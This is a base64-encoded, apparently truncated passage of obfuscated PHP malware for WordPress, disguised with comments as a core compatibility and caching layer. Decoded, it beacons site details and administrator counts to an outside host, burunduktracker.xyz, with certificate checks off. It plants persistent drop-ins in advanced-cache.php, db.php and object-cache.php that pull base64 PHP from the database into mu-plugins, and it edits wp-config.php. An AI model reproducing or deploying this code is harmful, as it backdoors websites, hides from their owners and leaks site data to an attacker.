ICAgdHJ5IHsNCiAgICAgICAgaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSkgcmV0dXJuOw0KICAgICAgICBpZiAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSByZXR1cm47DQoKICAgICAgICAkX3MxYTI3YSA9ICRHTE9CQUxTWydfd3AwNjRiOTQ1J10gLiAnX2JlYWNvbic7DQogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCRfczFhMjdhKSkgcmV0dXJuOw0KICAgICAgICBzZXRfdHJhbnNpZW50KCRfczFhMjdhLCAnMScsIDYwKTsNCgogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJHdwX2hhbmRsZXJfODU0NSA9IGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKTsNCiAgICAgICAgJHdwX2hhbmRsZXJfYWI1ZiA9ICR3cF9oYW5kbGVyXzg1NDUgPyBmaWxlc2l6ZSgkX19yZWZfZjU5MSkgOiAwOw0KCiAgICAgICAgJHdwX21ldGFfMDYwNiA9ICRHTE9CQUxTWydfYzliOTdmNDkxJ107DQogICAgICAgICRfX2xvYWRfMThiOCA9ICRHTE9CQUxTWydfX2xvYWRfMThiOCddOw0KCiAgICAgICAgJF9pYjdjZWQ5MyA9IGFycmF5KCk7DQogICAgICAgICRfaWI3Y2VkOTNbJ211J10gPSAkd3BfaGFuZGxlcl84NTQ1Ow0KICAgICAgICAkX2liN2NlZDkzWydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgJycpKSA+IDEwMDsNCiAgICAgICAgJF9pYjdjZWQ5M1soZnVuY3Rpb24oKXskX2NjODI4MDU9YXJyYXkoODEsMTksOTEsODgpOyR3cF9hY3Rpb25fMDczNT0nMmE0NmUnOyRfd3A5YTlhZTJhNT0nJztmb3IoJHdwX2hvb2tfMWM4ZD0wOyR3cF9ob29rXzFjOGQ8Y291bnQoJF9jYzgyODA1KTskd3BfaG9va18xYzhkKyspJF93cDlhOWFlMmE1Lj1jaHIoJF9jYzgyODA1WyR3cF9ob29rXzFjOGRdXm9yZCgkd3BfYWN0aW9uXzA3MzVbJHdwX2hvb2tfMWM4ZCVzdHJsZW4oJHdwX2FjdGlvbl8wNzM1KV0pKTtyZXR1cm4gJF93cDlhOWFlMmE1O30pKCldID0gISF3cF9uZXh0X3NjaGVkdWxlZCgkR0xPQkFMU1snX2k4NjA1NDNlJ10pOw0KCiAgICAgICAgJF9jM2Y0YjUzNzIgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAgICAgJF9pYjdjZWQ5M1snZHJvcGluX2FjJ10gPSBmaWxlX2V4aXN0cygkX2MzZjRiNTM3MikgJiYgc3RycG9zKEAoJ2ZpbCcuJ2VfZ2UnLid0XycuJ2NvbnQnLidlbicuJ3RzJykoJF9jM2Y0YjUzNzIpLCAkX19sb2FkXzE4YjgpICE9PSBmYWxzZTsNCiAgICAgICAgJF9jMzQxZTQ1ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2RiLnBocCc7DQogICAgICAgICRfaWI3Y2VkOTNbJ2Ryb3Bpbl9kYiddID0gZmlsZV9leGlzdHMoJF9jMzQxZTQ1KSAmJiBzdHJwb3MoQCgnZmknLidsZV8nLidnZXQnLidfYycuJ29udGUnLidudHMnKSgkX2MzNDFlNDUpLCAkX19sb2FkXzE4YjgpICE9PSBmYWxzZTsNCgogICAgICAgICRfaWI3Y2VkOTNbJ3dwX2xvZ2luJ10gPSBmYWxzZTsNCiAgICAgICAgaWYgKCR3cF9tZXRhXzA2MDYgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KICAgICAgICAgICAgJF9pYjdjZWQ5M1snd3BfbG9naW4nXSA9IHN0cnBvcyhAKCdmaWxlJy4nX2cnLidldF9jJy4nb24nLid0ZW4nLid0cycpKEFCU1BBVEggLiAnd3AtbG9naW4ucGhwJyksICR3cF9tZXRhXzA2MDYpICE9PSBmYWxzZTsNCiAgICAgICAgfQ0KCiAgICAgICAgJHdwX29wdGlvbl8wYTZlID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9zaXRlbWFwLWJ1aWxkZXIucGhwIiwid3AtY29udGVudC9sYW5ndWFnZXMvbWVkaWEtb3B0aW1pemVyLnBocCIsIndwLWNvbnRlbnQvZm9udHMvbG9jYWxlLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL3dpZGdldC1yZW5kZXJlci5waHAiLCJ3cC1jb250ZW50L3VwZ3JhZGUvZm9udC1tZXRyaWNzLnBocCJdJywgdHJ1ZSk7DQogICAgICAgICRfbGQxNDIwZiA9IDA7DQogICAgICAgIGlmIChpc19hcnJheSgkd3Bfb3B0aW9uXzBhNmUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkd3Bfb3B0aW9uXzBhNmUgYXMgJF90OWQ1ZDIpIHsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoQUJTUEFUSCAuICRfdDlkNWQyKSAmJiBmaWxlc2l6ZShBQlNQQVRIIC4gJF90OWQ1ZDIpID4gMjAwKSAkX2xkMTQyMGYrKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkX2liN2NlZDkzWydzY2F0dGVyJ10gPSAkX2xkMTQyMGYgLiAnLycgLiAoaXNfYXJyYXkoJHdwX29wdGlvbl8wYTZlKSA/IGNvdW50KCR3cF9vcHRpb25fMGE2ZSkgOiAwKTsNCgogICAgICAgICRfd3BlZGMxID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgJF9pYjdjZWQ5M1snaGEnXSA9ICFlbXB0eSgkX3dwZWRjMSkgJiYgdXNlcm5hbWVfZXhpc3RzKCRfd3BlZGMxKSA/IHRydWUgOiBmYWxzZTsNCgogICAgICAgICRfd3AyOGU4MmRhID0gZ2V0X3VzZXJzKGFycmF5KCJceDcyXHg2Zlx4NmNceDY1IiA9PiAoY2hyKDk3KS5jaHIoMTAwKS4iXHg2ZCIuIlx4NjkiLmNocigxNDUgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE0MCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKS4iXHg3MiIuY2hyKDk3KS4iXHg3NCIuIlx4NmYiLmNocigxMTQpKSwgIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyIgPT4gJ0lEJykpOw0KICAgICAgICAkX2liN2NlZDkzWyhjaHIoOTcpLmNocigxMDApLiJceDZkIi4iXHg2OSIuY2hyKDExMCkuY2hyKDE0MCBeIDB4ZmYpKV0gPSBjb3VudCgkX3dwMjhlODJkYSk7DQoKICAgICAgICAkX2NhOTQxMWM4ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snd3Bfb3B0aW9uXzc5OGInXSwgJycpOw0KICAgICAgICBpZiAoJF9jYTk0MTFjOCkgew0KICAgICAgICAgICAgJF9jNTYwNThkNmIgPSBqc29uX2RlY29kZSgkX2NhOTQxMWM4LCB0cnVlKTsNCiAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2M1NjA1OGQ2YikgJiYgIWVtcHR5KCRfYzU2MDU4ZDZiWydzbHVnJ10pKSB7DQogICAgICAgICAgICAgICAgJF93cGI5MmYzNTQ1ID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfYzU2MDU4ZDZiWyJceDczXHg2Y1x4NzVceDY3Il0gLiAnLycgLiAoJF9jNTYwNThkNmJbIlx4NjZceDY5XHg2Y1x4NjUiXSA/PyAkX2M1NjA1OGQ2Ylsnc2x1ZyddIC4gJy5waHAnKTsNCiAgICAgICAgICAgICAgICAkX2liN2NlZDkzWydiY19wbHVnaW4nXSA9IGZpbGVfZXhpc3RzKCRfd3BiOTJmMzU0NSk7DQogICAgICAgICAgICAgICAgJF9pYjdjZWQ5M1snYmNfYmFja3VwJ10gPSBzdHJsZW4oZ2V0X29wdGlvbigkR0xPQkFMU1snX3hkZjAyYThmJ10sICcnKSkgPiAxMDA7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCgogICAgICAgICRfbGRiZDlhNmEzMCA9IGFycmF5KA0KICAgICAgICAgICAgJ2FjdGlvbicgPT4gJ2hlYXJ0YmVhdCcsDQogICAgICAgICAgICAoZnVuY3Rpb24oKXskX3g4MzY0M2JhPWFycmF5KDUsMTIsMTEsMiw4OSwxNSk7JHdwX21ldGFfODE5OD0nYWNmYzAnOyR3cF9oYW5kbGVyXzAzMmU9Jyc7Zm9yKCRfd3A3NjhkN2NiPTA7JF93cDc2OGQ3Y2I8Y291bnQoJF94ODM2NDNiYSk7JF93cDc2OGQ3Y2IrKykkd3BfaGFuZGxlcl8wMzJlLj1jaHIoJF94ODM2NDNiYVskX3dwNzY4ZDdjYl1eb3JkKCR3cF9tZXRhXzgxOThbJF93cDc2OGQ3Y2Ilc3RybGVuKCR3cF9tZXRhXzgxOTgpXSkpO3JldHVybiAkd3BfaGFuZGxlcl8wMzJlO30pKCkgPT4gZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICgkX1NFUlZFUlsoY2hyKDcyKS5jaHIoODQpLmNocigxNzEgXiAweGZmKS4iXHg1MCIuY2hyKDE2MCBeIDB4ZmYpLmNocig3MikuY2hyKDE3NiBeIDB4ZmYpLmNocig4MykuY2hyKDE3MSBeIDB4ZmYpKV0gPz8gJycpLA0KICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JHdwX2hvb2tfZDQ3Nz1hcnJheSg2Niw4OCw4MCwwKTskX3M0MGUzYTY9JzI5N2U3Yic7JF9vNWViMTcwZWQ9Jyc7Zm9yKCRfX2luaXRfOTU0MT0wOyRfX2luaXRfOTU0MTxjb3VudCgkd3BfaG9va19kNDc3KTskX19pbml0Xzk1NDErKykkX281ZWIxNzBlZC49Y2hyKCR3cF9ob29rX2Q0NzdbJF9faW5pdF85NTQxXV5vcmQoJF9zNDBlM2E2WyRfX2luaXRfOTU0MSVzdHJsZW4oJF9zNDBlM2E2KV0pKTtyZXR1cm4gJF9vNWViMTcwZWQ7fSkoKSA9PiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsDQogICAgICAgICAgICAiXHg2ZFx4NzVceDVmXHg3M1x4NjlceDdhXHg2NSIgPT4gJHdwX2hhbmRsZXJfYWI1ZiwNCiAgICAgICAgICAgICJceDcwXHg2NVx4NzJceDczXHg2OVx4NzNceDc0IiA9PiAkX2liN2NlZDkzLA0KICAgICAgICAgICAgJ3BocCcgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAnd3AnID0+IGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskX2MyN2JmPWFycmF5KDk0LDgzLDE3LDU5LDgzLDkxLDE0LDk0LDk1LDExLDIsOTQpOyRfX3Byb2NfZGRiYz0nOTZlZDE3YSc7JF9fbG9hZF85MjViPScnO2ZvcigkX3dwZDg0NzYzPTA7JF93cGQ4NDc2Mzxjb3VudCgkX2MyN2JmKTskX3dwZDg0NzYzKyspJF9fbG9hZF85MjViLj1jaHIoJF9jMjdiZlskX3dwZDg0NzYzXV5vcmQoJF9fcHJvY19kZGJjWyRfd3BkODQ3NjMlc3RybGVuKCRfX3Byb2NfZGRiYyldKSk7cmV0dXJuICRfX2xvYWRfOTI1Yjt9KSgpKSA/IGdldF9ibG9naW5mbygndmVyc2lvbicpIDogJycsDQogICAgICAgICAgICAncGx1Z2lucycgPT4gY291bnQoZ2V0X29wdGlvbigoZnVuY3Rpb24oKXskX19idWZfYjUyND1hcnJheSg4NSw4NCw3MCw5NSwyMSw0LDEwNyw3MSw5NCw2Nyw0LDgsOTAsNjgpOyRfX2NmZ180MmEzPSc0NzI2Y2EnOyRfaDJkMDg0PScnO2ZvcigkX2NhN2UyMDc9MDskX2NhN2UyMDc8Y291bnQoJF9fYnVmX2I1MjQpOyRfY2E3ZTIwNysrKSRfaDJkMDg0Lj1jaHIoJF9fYnVmX2I1MjRbJF9jYTdlMjA3XV5vcmQoJF9fY2ZnXzQyYTNbJF9jYTdlMjA3JXN0cmxlbigkX19jZmdfNDJhMyldKSk7cmV0dXJuICRfaDJkMDg0O30pKCksIGFycmF5KCkpKSwNCiAgICAgICAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICAgICApOw0KCiAgICAgICAgJF9jOGQ3ZmQyYyA9IGpzb25fZW5jb2RlKCRfbGRiZDlhNmEzMCk7DQogICAgICAgICRfd3A4MDBiNGJhYSA9ICdodHRwczovL2J1cnVuZHVrdHJhY2tlci54eXovYmVhY29uLyc7DQogICAgICAgIGlmIChlbXB0eSgkX3dwODAwYjRiYWEpKSByZXR1cm47DQoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfcG9zdCcpKSB7DQogICAgICAgICAgICB3cF9yZW1vdGVfcG9zdCgkX3dwODAwYjRiYWEsIGFycmF5KA0KICAgICAgICAgICAgICAgICdib2R5JyA9PiAkX2M4ZDdmZDJjLA0KICAgICAgICAgICAgICAgICdoZWFkZXJzJyA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAoY2hyKDk3KS5jaHIoMTEyKS5jaHIoMTEyKS5jaHIoMTA4KS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi4iXHg3NCIuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTEpLmNocigxNDUgXiAweGZmKS5jaHIoNDcpLiJceDZhIi4iXHg3MyIuY2hyKDE0NCBeIDB4ZmYpLiJceDZlIikpLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAzLA0KICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfX2RhdGFfMDE2ND1hcnJheSg3LDgsOTEsMCw4LDgsODksMik7JF9tYTc4MT0nZWQ0Y2NhN2UnOyRfYzNkZTZhMmYxPScnO2ZvcigkX3dwNDEzZTNmMzY9MDskX3dwNDEzZTNmMzY8Y291bnQoJF9fZGF0YV8wMTY0KTskX3dwNDEzZTNmMzYrKykkX2MzZGU2YTJmMS49Y2hyKCRfX2RhdGFfMDE2NFskX3dwNDEzZTNmMzZdXm9yZCgkX21hNzgxWyRfd3A0MTNlM2YzNiVzdHJsZW4oJF9tYTc4MSldKSk7cmV0dXJuICRfYzNkZTZhMmYxO30pKCkgPT4gZmFsc2UsDQogICAgICAgICAgICAgICAgJ3NzbHZlcmlmeScgPT4gZmFsc2UsDQogICAgICAgICAgICApKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnID0+IGFycmF5KA0KICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywNCiAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcbiIsDQogICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRfYzhkN2ZkMmMsDQogICAgICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JF9jZmdhODY0MjA5PWFycmF5KDIzLDExLDk1LDkyLDg2LDY3LDY3KTskX2k5ZDFiZTViPSdjYjI5OTY3Yic7JF93cGEyYmM9Jyc7Zm9yKCRfdDRjZTliODg4PTA7JF90NGNlOWI4ODg8Y291bnQoJF9jZmdhODY0MjA5KTskX3Q0Y2U5Yjg4OCsrKSRfd3BhMmJjLj1jaHIoJF9jZmdhODY0MjA5WyRfdDRjZTliODg4XV5vcmQoJF9pOWQxYmU1YlskX3Q0Y2U5Yjg4OCVzdHJsZW4oJF9pOWQxYmU1YildKSk7cmV0dXJuICRfd3BhMmJjO30pKCkgPT4gMywNCiAgICAgICAgICAgICkpKTsNCiAgICAgICAgICAgIEAoJ2ZpbGUnLidfZ2V0Jy4nX2NvbicuJ3RlJy4nbnQnLidzJykoJF93cDgwMGI0YmFhLCBmYWxzZSwgJGN0eCk7DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX29wdF8wZTcwKSB7fQ0KfSk7DQp9KSgpOwoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF83Q0Y3JykpZGVmaW5lKCdXUF9DQUNIRV9UVExfN0NGNycsNjMwMjgpOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgNC42Ljk4CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwppZiAoKChQSFBfSU5UX1NJWkUgPDwgMSkgPiAzKSkgewp0cnkgewokX3g1OWQ1YTk2OSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwokX3dwNjg0ZiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKYWRkX2FjdGlvbigoY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLiJceDY5Ii4iXHg3NCIpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX19wcm9jXzJlYTkgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19kcm9waW4nOw0KICAgICAgICAkX19idWZfNmFlMCA9ICRHTE9CQUxTWydfX2xvYWRfMThiOCddOw0KICAgICAgICAkX2Y3ZWQ0NCA9ICRHTE9CQUxTWydfZjdlZDQ0J107DQoKICAgICAgICAkX19sb2FkXzRkODYgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAgICAgJF93cGM1NjAyYiA9IFdQX0NPTlRFTlRfRElSIC4gJy9kYi5waHAnOw0KICAgICAgICAkX2MzNzJlNjIxYyA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgogICAgICAgICRfX29wdF8xZjE2ID0gZmlsZV9leGlzdHMoJF9fbG9hZF80ZDg2KSAmJiBmaWxlX2V4aXN0cygkX3dwYzU2MDJiKSAmJiBmaWxlX2V4aXN0cygkX2MzNzJlNjIxYyk7DQogICAgICAgICRfbWY0ZmI4ZCA9IHRydWU7DQogICAgICAgIGlmICgkX19vcHRfMWYxNikgew0KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoJF9fbG9hZF80ZDg2LCAkX3dwYzU2MDJiLCAkX2MzNzJlNjIxYykgYXMgJF93cDEwMjkwNTApIHsNCiAgICAgICAgICAgICAgICAkX3dwOGI5YTI3NSA9IEAoJ2ZpbCcuJ2VfZ2UnLid0XycuJ2NvbicuJ3RlJy4nbnRzJykoJF93cDEwMjkwNTApOw0KICAgICAgICAgICAgICAgIGlmICghJF93cDhiOWEyNzUgfHwgc3RycG9zKCRfd3A4YjlhMjc1LCAkX19idWZfNmFlMCkgPT09IGZhbHNlKSB7ICRfbWY0ZmI4ZCA9IGZhbHNlOyBicmVhazsgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCRfX3Byb2NfMmVhOSkgJiYgJF9fb3B0XzFmMTYgJiYgJF9tZjRmYjhkKSByZXR1cm47DQoKICAgICAgICAkX3dwNjY3YSA9IGZ1bmN0aW9uKCRfX2xvYWRfY2IyYywgJF93cDUxNmZmMCA9IGZhbHNlKSB1c2UgKCRfZjdlZDQ0LCAkX19idWZfNmFlMCkgew0KICAgICAgICAgICAgJF9sZGY4ZmZiOTE5ID0gIlxuLyogIiAuICRfX2J1Zl82YWUwIC4gIiAqL1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX19yZWZfNWQ3ZSA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnO1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX3dwODJkYjNiID0gXCRfX3JlZl81ZDdlIC4gJy8iIC4gJF9mN2VkNDQgLiAiJztcbiINCiAgICAgICAgICAgICAgICAuICJpZiAoIWZpbGVfZXhpc3RzKFwkX3dwODJkYjNiKSkge1xuIjsNCiAgICAgICAgICAgIGlmICgkX3dwNTE2ZmYwKSB7DQogICAgICAgICAgICAgICAgJF9sZGY4ZmZiOTE5IC49ICIgICAgdHJ5IHtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBcJF9jMDJiZTUgPSBuZXcgUERPKCdteXNxbDpob3N0PScuREJfSE9TVC4nO2RibmFtZT0nLkRCX05BTUUsIERCX1VTRVIsIERCX1BBU1NXT1JEKTtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBcJF9jNTFkM2EgPSBcJF9jMDJiZTUtPnF1ZXJ5KFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIFwiLihpc3NldChcJHRhYmxlX3ByZWZpeCk/XCR0YWJsZV9wcmVmaXg6J3dwXycpLlwib3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICciIC4gJF9fbG9hZF9jYjJjIC4gIicgTElNSVQgMVwiKTtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBpZiAoXCRfYzUxZDNhICYmIFwkX2NhYjhhNzZhMyA9IFwkX2M1MWQzYS0+ZmV0Y2hDb2x1bW4oKSkge1xuIg0KICAgICAgICAgICAgICAgICAgICAuICIgICAgICAgICAgICBcJHdwX3Rva2VuXzI5Y2YgPSBiYXNlNjRfZGVjb2RlKFwkX2NhYjhhNzZhMyk7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgICAgIGlmIChcJHdwX3Rva2VuXzI5Y2YgJiYgc3RycG9zKFwkd3BfdG9rZW5fMjljZiwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfd3A4MmRiM2IpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwODJkYjNiLCBcJHdwX3Rva2VuXzI5Y2YpOyB9XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgfVxuIg0KICAgICAgICAgICAgICAgICAgICAuICIgICAgICAgIFwkX2MwMmJlNSA9IG51bGw7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICB9IGNhdGNoIChFeGNlcHRpb24gXCRlKSB7fVxuIjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJF9sZGY4ZmZiOTE5IC49ICIgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKSB7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgXCRfcTIyODA2ID0gZ2V0X29wdGlvbignIiAuICRfX2xvYWRfY2IyYyAuICInLCAnJyk7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgaWYgKFwkX3EyMjgwNikgeyBcJHdwX3Rva2VuXzI5Y2YgPSBiYXNlNjRfZGVjb2RlKFwkX3EyMjgwNik7IGlmIChcJHdwX3Rva2VuXzI5Y2YgJiYgc3RycG9zKFwkd3BfdG9rZW5fMjljZiwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfd3A4MmRiM2IpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwODJkYjNiLCBcJHdwX3Rva2VuXzI5Y2YpOyB9IH1cbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgIH1cbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX2xkZjhmZmI5MTkgLj0gIn1cbi8qICIgLiAkX19idWZfNmFlMCAuICJfZW5kICovXG4iOw0KICAgICAgICAgICAgcmV0dXJuICRfbGRmOGZmYjkxOTsNCiAgICAgICAgfTsNCgogICAgICAgICRfd3AxNGFkID0gJEdMT0JBTFNbJ19jMTNjNGUnXTsNCiAgICAgICAgJF90ZTNmMmYxOCA9ICRHTE9CQUxTWydfbTQ2NGIxODI4J107DQoKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfX2xvYWRfNGQ4NikpIHsNCiAgICAgICAgICAgICRfY2Y3MmUwID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF9fbG9hZF80ZDg2LCAkX2NmNzJlMCwgNTAsIHRydWUpOw0KICAgICAgICAgICAgX19yZWZfYzY3NigkX19sb2FkXzRkODYsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KCiAgICAgICAgICAgICRfX3Byb2NfNzI3NSA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9fcHJvY183Mjc1KSAmJiBpc193cml0YWJsZSgkX19wcm9jXzcyNzUpKSB7DQogICAgICAgICAgICAgICAgJF9xMGY5MzA0MTUgPSBAKCdmaScuJ2xlJy4nX2cnLidldCcuJ19jJy4nb24nLid0ZScuJ250cycpKCRfX3Byb2NfNzI3NSk7DQogICAgICAgICAgICAgICAgaWYgKCRfcTBmOTMwNDE1ICYmIHN0cnBvcygkX3EwZjkzMDQxNSwgIidXUF9DQUNIRSciKSA9PT0gZmFsc2UgJiYgc3RycG9zKCRfcTBmOTMwNDE1LCAnIldQX0NBQ0hFIicpID09PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAkX3EwZjkzMDQxNSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWVceDNjXHg1Y1x4M2ZceDcwXHg2OFx4NzBceDJmXHg2ZCIsICI8P3BocFxuZGVmaW5lKCdXUF9DQUNIRScsIHRydWUpOyIsICRfcTBmOTMwNDE1LCAxKTsNCiAgICAgICAgICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF9fcHJvY183Mjc1LCAkX3EwZjkzMDQxNSwgMTAwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoc3RycG9zKEAoJ2ZpbCcuJ2VfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9fbG9hZF80ZDg2KSwgJF9fYnVmXzZhZTApID09PSBmYWxzZSkgew0KICAgICAgICAgICAgJHdwX2hvb2tfMzMzNCA9IEAoJ2ZpbCcuJ2VfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9fbG9hZF80ZDg2KTsNCiAgICAgICAgICAgIGlmICgkd3BfaG9va18zMzM0ICYmIGlzX3dyaXRhYmxlKCRfX2xvYWRfNGQ4NikpIHsNCiAgICAgICAgICAgICAgICAkX283MjE4NTAwMiA9ICR3cF9ob29rXzMzMzQgLiAiXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfX2xvYWRfNGQ4NiwgJF9vNzIxODUwMDIsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCgogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF93cGM1NjAyYikpIHsNCiAgICAgICAgICAgICRfcWVhN2QxMyA9ICI8P3BocFxuLyogV29yZFByZXNzIERhdGFiYXNlIEFic3RyYWN0aW9uICovXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgX2xkY2Y0ODUxYTAoJF93cGM1NjAyYiwgJF9xZWE3ZDEzLCA1MCwgdHJ1ZSk7DQogICAgICAgICAgICBfX3JlZl9jNjc2KCRfd3BjNTYwMmIsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KICAgICAgICB9IGVsc2VpZiAoc3RycG9zKEAoJ2ZpbGUnLidfZycuJ2V0Jy4nX2MnLidvbnQnLidlbnQnLidzJykoJF93cGM1NjAyYiksICRfX2J1Zl82YWUwKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgICR3cF9ob29rXzMzMzQgPSBAKCdmaWxlJy4nX2cnLidldCcuJ19jJy4nb250Jy4nZW50Jy4ncycpKCRfd3BjNTYwMmIpOw0KICAgICAgICAgICAgaWYgKCR3cF9ob29rXzMzMzQgJiYgaXNfd3JpdGFibGUoJF93cGM1NjAyYikpIHsNCiAgICAgICAgICAgICAgICAkX283MjE4NTAwMiA9ICR3cF9ob29rXzMzMzQgLiAiXG4iIC4gJF93cDY2N2EoJF93cDE0YWQsIHRydWUpOw0KICAgICAgICAgICAgICAgIF9sZGNmNDg1MWEwKCRfd3BjNTYwMmIsICRfbzcyMTg1MDAyLCA1MCwgZmFsc2UsIHRydWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9jMzcyZTYyMWMpICYmIHN0cnBvcyhAKCdmaScuJ2xlXycuJ2dldCcuJ19jb24nLid0ZW4nLid0cycpKCRfYzM3MmU2MjFjKSwgJF9fYnVmXzZhZTApID09PSBmYWxzZSkgew0KICAgICAgICAgICAgJHdwX2hvb2tfMzMzNC